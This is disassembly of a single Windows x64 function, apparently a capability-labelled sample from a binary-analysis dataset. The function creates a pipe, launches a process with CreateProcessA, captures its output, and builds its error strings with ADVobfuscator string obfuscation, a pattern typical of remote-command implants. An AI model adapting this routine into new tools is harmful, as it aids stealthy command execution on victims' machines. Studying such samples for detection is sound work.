Function at 0x14000fc92
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
mov eax, 0x15a8
call fcn.14001dca0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1540], rcx
mov qword [rbp + 0x1548], rdx
mov rax, qword [0x140103030]
mov qword [rbp + 0x1518], rax
mov dword [rbp + 0x10a0], 0x18
mov dword [rbp + 0x10b0], 1
mov qword [rbp + 0x10a8], 0
mov rax, qword [rbp + 0x1518]
mov r10, qword [rax + 8]
lea rcx, [rbp + 0x10a0]
lea rdx, [rbp + 0x1090]
lea rax, [rbp + 0x1098]
mov r9d, 0
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
sete al
test al, al
je 0x1400104a8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, [rbp + 0x10c0]
mov rcx, rax
call method.std::__cxx11.to_string_unsigned_long_
lea rax, str.Error_creating_pipe:
mov qword [rbp + 0x1508], rax
mov dword [rbp + 0x10e0], 0x7b
mov qword [rbp + 0x1140], 0
mov qword [rbp + 0x1148], 0
mov dword [rbp + 0x1150], 0
mov word [rbp + 0x1154], 0
mov rax, qword [rbp + 0x1508]
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1500], rdx
mov byte [rbp + 0x14ff], al
mov qword [rbp + 0x14f0], 0
mov rdx, qword [rbp + 0x14f0]
mov rax, qword [rbp + 0x1500]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x14ff]
mov byte [rbp + 0x1140], al
mov rax, qword [rbp + 0x1508]
add rax, 1
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x14e8], rdx
mov byte [rbp + 0x14e7], al
mov qword [rbp + 0x14d8], 1
mov rdx, qword [rbp + 0x14d8]
mov rax, qword [rbp + 0x14e8]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x14e7]
mov byte [rbp + 0x1141], al
mov rax, qword [rbp + 0x1508]
add rax, 2
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x14d0], rdx
mov byte [rbp + 0x14cf], al
mov qword [rbp + 0x14c0], 2
mov rdx, qword [rbp + 0x14c0]
mov rax, qword [rbp + 0x14d0]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x14cf]
mov byte [rbp + 0x1142], al
mov rax, qword [rbp + 0x1508]
add rax, 3
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x14b8], rdx
mov byte [rbp + 0x14b7], al
mov qword [rbp + 0x14a8], 3
mov rdx, qword [rbp + 0x14a8]
mov rax, qword [rbp + 0x14b8]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x14b7]
mov byte [rbp + 0x1143], al
mov rax, qword [rbp + 0x1508]
add rax, 4
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x14a0], rdx
mov byte [rbp + 0x149f], al
mov qword [rbp + 0x1490], 4
mov rdx, qword [rbp + 0x1490]
mov rax, qword [rbp + 0x14a0]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x149f]
mov byte [rbp + 0x1144], al
mov rax, qword [rbp + 0x1508]
add rax, 5
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1488], rdx
mov byte [rbp + 0x1487], al
mov qword [rbp + 0x1478], 5
mov rdx, qword [rbp + 0x1478]
mov rax, qword [rbp + 0x1488]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1487]
mov byte [rbp + 0x1145], al
mov rax, qword [rbp + 0x1508]
add rax, 6
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1470], rdx
mov byte [rbp + 0x146f], al
mov qword [rbp + 0x1460], 6
mov rdx, qword [rbp + 0x1460]
mov rax, qword [rbp + 0x1470]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x146f]
mov byte [rbp + 0x1146], al
mov rax, qword [rbp + 0x1508]
add rax, 7
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1458], rdx
mov byte [rbp + 0x1457], al
mov qword [rbp + 0x1448], 7
mov rdx, qword [rbp + 0x1448]
mov rax, qword [rbp + 0x1458]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1457]
mov byte [rbp + 0x1147], al
mov rax, qword [rbp + 0x1508]
add rax, 8
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1440], rdx
mov byte [rbp + 0x143f], al
mov qword [rbp + 0x1430], 8
mov rdx, qword [rbp + 0x1430]
mov rax, qword [rbp + 0x1440]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x143f]
mov byte [rbp + 0x1148], al
mov rax, qword [rbp + 0x1508]
add rax, 9
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1428], rdx
mov byte [rbp + 0x1427], al
mov qword [rbp + 0x1418], 9
mov rdx, qword [rbp + 0x1418]
mov rax, qword [rbp + 0x1428]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1427]
mov byte [rbp + 0x1149], al
mov rax, qword [rbp + 0x1508]
add rax, 0xa
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1410], rdx
mov byte [rbp + 0x140f], al
mov qword [rbp + 0x1400], 0xa
mov rdx, qword [rbp + 0x1400]
mov rax, qword [rbp + 0x1410]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x140f]
mov byte [rbp + 0x114a], al
mov rax, qword [rbp + 0x1508]
add rax, 0xb
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x13f8], rdx
mov byte [rbp + 0x13f7], al
mov qword [rbp + 0x13e8], 0xb
mov rdx, qword [rbp + 0x13e8]
mov rax, qword [rbp + 0x13f8]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x13f7]
mov byte [rbp + 0x114b], al
mov rax, qword [rbp + 0x1508]
add rax, 0xc
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x13e0], rdx
mov byte [rbp + 0x13df], al
mov qword [rbp + 0x13d0], 0xc
mov rdx, qword [rbp + 0x13d0]
mov rax, qword [rbp + 0x13e0]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x13df]
mov byte [rbp + 0x114c], al
mov rax, qword [rbp + 0x1508]
add rax, 0xd
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x13c8], rdx
mov byte [rbp + 0x13c7], al
mov qword [rbp + 0x13b8], 0xd
mov rdx, qword [rbp + 0x13b8]
mov rax, qword [rbp + 0x13c8]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x13c7]
mov byte [rbp + 0x114d], al
mov rax, qword [rbp + 0x1508]
add rax, 0xe
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x13b0], rdx
mov byte [rbp + 0x13af], al
mov qword [rbp + 0x13a0], 0xe
mov rdx, qword [rbp + 0x13a0]
mov rax, qword [rbp + 0x13b0]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x13af]
mov byte [rbp + 0x114e], al
mov rax, qword [rbp + 0x1508]
add rax, 0xf
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1398], rdx
mov byte [rbp + 0x1397], al
mov qword [rbp + 0x1388], 0xf
mov rdx, qword [rbp + 0x1388]
mov rax, qword [rbp + 0x1398]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1397]
mov byte [rbp + 0x114f], al
mov rax, qword [rbp + 0x1508]
add rax, 0x10
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1380], rdx
mov byte [rbp + 0x137f], al
mov qword [rbp + 0x1370], 0x10
mov rdx, qword [rbp + 0x1370]
mov rax, qword [rbp + 0x1380]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x137f]
mov byte [rbp + 0x1150], al
mov rax, qword [rbp + 0x1508]
add rax, 0x11
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1368], rdx
mov byte [rbp + 0x1367], al
mov qword [rbp + 0x1358], 0x11
mov rdx, qword [rbp + 0x1358]
mov rax, qword [rbp + 0x1368]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1367]
mov byte [rbp + 0x1151], al
mov rax, qword [rbp + 0x1508]
add rax, 0x12
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1350], rdx
mov byte [rbp + 0x134f], al
mov qword [rbp + 0x1340], 0x12
mov rdx, qword [rbp + 0x1340]
mov rax, qword [rbp + 0x1350]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x134f]
mov byte [rbp + 0x1152], al
mov rax, qword [rbp + 0x1508]
add rax, 0x13
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1338], rdx
mov byte [rbp + 0x1337], al
mov qword [rbp + 0x1328], 0x13
mov rdx, qword [rbp + 0x1328]
mov rax, qword [rbp + 0x1338]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x1337]
mov byte [rbp + 0x1153], al
mov rax, qword [rbp + 0x1508]
add rax, 0x14
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x10e0]
mov qword [rbp + 0x1320], rdx
mov byte [rbp + 0x131f], al
mov qword [rbp + 0x1310], 0x14
mov rdx, qword [rbp + 0x1310]
mov rax, qword [rbp + 0x1320]
mov rcx, rax
call fcn.14002e870
xor al, byte [rbp + 0x131f]
mov byte [rbp + 0x1154], al
mov rax, qword [rbp + 0x1140]
mov rdx, qword [rbp + 0x1148]
mov qword [rbp + 0x10e4], rax
mov qword [rbp + 0x10ec], rdx
mov eax, dword [rbp + 0x1150]
mov dword [rbp + 0x10f4], eax
movzx eax, word [rbp + 0x1154]
mov word [rbp + 0x10f8], ax
nop
lea rax, [rbp + 0x10e0]
mov rcx, rax
call sym._ZN8andrivet13ADVobfuscator10MetaStringILi1ELc123ENS0_7IndexesIJLi0ELi1ELi2ELi3ELi4ELi5ELi6ELi7ELi8ELi9ELi10ELi11ELi12ELi13ELi
mov rdx, rax
mov rax, qword [rbp + 0x1540]
lea rcx, [rbp + 0x10c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
nop
lea rax, [rbp + 0x10c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140010ee1
mov rax, qword [rbp + 0x1518]
mov r9, qword [rax + 0x80]
mov rax, qword [rbp + 0x1098]
mov r8d, 0
mov edx, 1
mov rcx, rax
call r9
mov rax, qword [rbp + 0x1518]
mov r8, qword [rax + 0x10]
lea rax, [rbp + 0x1020]
mov edx, 0x68
mov rcx, rax
call r8
mov dword [rbp + 0x1020], 0x68
mov rax, qword [rbp + 0x1090]
mov qword [rbp + 0x1080], rax
mov rax, qword [rbp + 0x1090]
mov qword [rbp + 0x1078], rax
mov eax, dword [rbp + 0x105c]
or ah, 1
mov dword [rbp + 0x105c], eax
mov rax, qword [rbp + 0x1548]
lea rdx, [rbp + 0x1000]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1020]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140010d4c
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1098]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1090]
mov rcx, rax
call rdx
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, [rbp + 0x1100]
mov rcx, rax
call method.std::__cxx11.to_string_unsigned_long_
lea rax, str.Error_creating_process:
mov qword [rbp + 0x1308], rax
mov rax, qword [rbp + 0x1308]
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1300], rdx
mov byte [rbp + 0x12ff], al
mov rax, qword [rbp + 0x1300]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12ff]
add eax, edx
mov byte [rbp + 0x1160], al
mov rax, qword [rbp + 0x1308]
add rax, 1
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12f0], rdx
mov byte [rbp + 0x12ef], al
mov rax, qword [rbp + 0x12f0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12ef]
add eax, edx
mov byte [rbp + 0x1161], al
mov rax, qword [rbp + 0x1308]
add rax, 2
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12e0], rdx
mov byte [rbp + 0x12df], al
mov rax, qword [rbp + 0x12e0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12df]
add eax, edx
mov byte [rbp + 0x1162], al
mov rax, qword [rbp + 0x1308]
add rax, 3
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12d0], rdx
mov byte [rbp + 0x12cf], al
mov rax, qword [rbp + 0x12d0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12cf]
add eax, edx
mov byte [rbp + 0x1163], al
mov rax, qword [rbp + 0x1308]
add rax, 4
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12c0], rdx
mov byte [rbp + 0x12bf], al
mov rax, qword [rbp + 0x12c0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12bf]
add eax, edx
mov byte [rbp + 0x1164], al
mov rax, qword [rbp + 0x1308]
add rax, 5
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12b0], rdx
mov byte [rbp + 0x12af], al
mov rax, qword [rbp + 0x12b0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x12af]
add eax, edx
mov byte [rbp + 0x1165], al
mov rax, qword [rbp + 0x1308]
add rax, 6
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x12a0], rdx
mov byte [rbp + 0x129f], al
mov rax, qword [rbp + 0x12a0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x129f]
add eax, edx
mov byte [rbp + 0x1166], al
mov rax, qword [rbp + 0x1308]
add rax, 7
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1290], rdx
mov byte [rbp + 0x128f], al
mov rax, qword [rbp + 0x1290]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x128f]
add eax, edx
mov byte [rbp + 0x1167], al
mov rax, qword [rbp + 0x1308]
add rax, 8
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1280], rdx
mov byte [rbp + 0x127f], al
mov rax, qword [rbp + 0x1280]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x127f]
add eax, edx
mov byte [rbp + 0x1168], al
mov rax, qword [rbp + 0x1308]
add rax, 9
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1270], rdx
mov byte [rbp + 0x126f], al
mov rax, qword [rbp + 0x1270]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x126f]
add eax, edx
mov byte [rbp + 0x1169], al
mov rax, qword [rbp + 0x1308]
add rax, 0xa
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1260], rdx
mov byte [rbp + 0x125f], al
mov rax, qword [rbp + 0x1260]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x125f]
add eax, edx
mov byte [rbp + 0x116a], al
mov rax, qword [rbp + 0x1308]
add rax, 0xb
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1250], rdx
mov byte [rbp + 0x124f], al
mov rax, qword [rbp + 0x1250]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x124f]
add eax, edx
mov byte [rbp + 0x116b], al
mov rax, qword [rbp + 0x1308]
add rax, 0xc
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1240], rdx
mov byte [rbp + 0x123f], al
mov rax, qword [rbp + 0x1240]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x123f]
add eax, edx
mov byte [rbp + 0x116c], al
mov rax, qword [rbp + 0x1308]
add rax, 0xd
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1230], rdx
mov byte [rbp + 0x122f], al
mov rax, qword [rbp + 0x1230]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x122f]
add eax, edx
mov byte [rbp + 0x116d], al
mov rax, qword [rbp + 0x1308]
add rax, 0xe
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1220], rdx
mov byte [rbp + 0x121f], al
mov rax, qword [rbp + 0x1220]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x121f]
add eax, edx
mov byte [rbp + 0x116e], al
mov rax, qword [rbp + 0x1308]
add rax, 0xf
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1210], rdx
mov byte [rbp + 0x120f], al
mov rax, qword [rbp + 0x1210]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x120f]
add eax, edx
mov byte [rbp + 0x116f], al
mov rax, qword [rbp + 0x1308]
add rax, 0x10
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1200], rdx
mov byte [rbp + 0x11ff], al
mov rax, qword [rbp + 0x1200]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11ff]
add eax, edx
mov byte [rbp + 0x1170], al
mov rax, qword [rbp + 0x1308]
add rax, 0x11
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11f0], rdx
mov byte [rbp + 0x11ef], al
mov rax, qword [rbp + 0x11f0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11ef]
add eax, edx
mov byte [rbp + 0x1171], al
mov rax, qword [rbp + 0x1308]
add rax, 0x12
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11e0], rdx
mov byte [rbp + 0x11df], al
mov rax, qword [rbp + 0x11e0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11df]
add eax, edx
mov byte [rbp + 0x1172], al
mov rax, qword [rbp + 0x1308]
add rax, 0x13
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11d0], rdx
mov byte [rbp + 0x11cf], al
mov rax, qword [rbp + 0x11d0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11cf]
add eax, edx
mov byte [rbp + 0x1173], al
mov rax, qword [rbp + 0x1308]
add rax, 0x14
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11c0], rdx
mov byte [rbp + 0x11bf], al
mov rax, qword [rbp + 0x11c0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11bf]
add eax, edx
mov byte [rbp + 0x1174], al
mov rax, qword [rbp + 0x1308]
add rax, 0x15
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11b0], rdx
mov byte [rbp + 0x11af], al
mov rax, qword [rbp + 0x11b0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x11af]
add eax, edx
mov byte [rbp + 0x1175], al
mov rax, qword [rbp + 0x1308]
add rax, 0x16
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x11a0], rdx
mov byte [rbp + 0x119f], al
mov rax, qword [rbp + 0x11a0]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x119f]
add eax, edx
mov byte [rbp + 0x1176], al
mov rax, qword [rbp + 0x1308]
add rax, 0x17
movzx eax, byte [rax]
movsx eax, al
lea rdx, [rbp + 0x1120]
mov qword [rbp + 0x1190], rdx
mov byte [rbp + 0x118f], al
mov rax, qword [rbp + 0x1190]
mov edx, 3
mov rcx, rax
call fcn.14002f060
mov edx, eax
movzx eax, byte [rbp + 0x118f]
add eax, edx
mov byte [rbp + 0x1177], al
mov byte [rbp + 0x1178], 0
mov rax, qword [rbp + 0x1160]
mov rdx, qword [rbp + 0x1168]
mov qword [rbp + 0x1120], rax
mov qword [rbp + 0x1128], rdx
mov rax, qword [rbp + 0x1170]
mov qword [rbp + 0x1130], rax
movzx eax, byte [rbp + 0x1178]
mov byte [rbp + 0x1138], al
nop
lea rax, [rbp + 0x1120]
mov rcx, rax
call sym._ZN8andrivet13ADVobfuscator10MetaStringILi2ELc3ENS0_7IndexesIJLi0ELi1ELi2ELi3ELi4ELi5ELi6ELi7ELi8ELi9ELi10ELi11ELi12ELi13ELi14
mov rdx, rax
mov rax, qword [rbp + 0x1540]
lea rcx, [rbp + 0x1100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
nop
lea rax, [rbp + 0x1100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140010ee1
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1090]
mov rcx, rax
call rdx
mov dword [rbp + 0x1514], 0x1000
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400b1150
mov rax, qword [rbp + 0x1518]
mov r10, qword [rax + 0x78]
mov rax, qword [rbp + 0x1098]
lea rcx, [rbp - 4]
mov rdx, rbp
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
call r10
test eax, eax
je 0x140010dbc
mov eax, dword [rbp - 4]
test eax, eax
je 0x140010dbc
mov eax, 1
jmp 0x140010dc1
mov eax, 0
test al, al
je 0x140010e07
mov qword [rbp + 0x1180], 0
mov byte [rbp + 0x113f], 0
nop
lea rax, [rbp + 0x113f]
mov rcx, rax
call method.andrivet::ADVobfuscator.MetaString_2___char_32__andrivet::ADVobfuscator::Indexes____::decrypt__
mov rdx, rax
mov eax, dword [rbp - 4]
mov eax, eax
mov byte [rbp + rax], dl
mov rdx, rbp
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.1400b1c10
jmp 0x140010d79
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1098]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x1518]
mov r8, qword [rax + 0x88]
mov rax, qword [rbp + 0x1000]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1000]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x1518]
mov rdx, qword [rax + 0x68]
mov rax, qword [rbp + 0x1008]
mov rcx, rax
call rdx
lea rax, [rbp - 0x30]
mov rdx, rax
mov rcx, qword [rbp + 0x1540]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140010ee1
mov rax, qword [rbp + 0x1540]
add rsp, 0x15a8
pop rbx
pop rbp
ret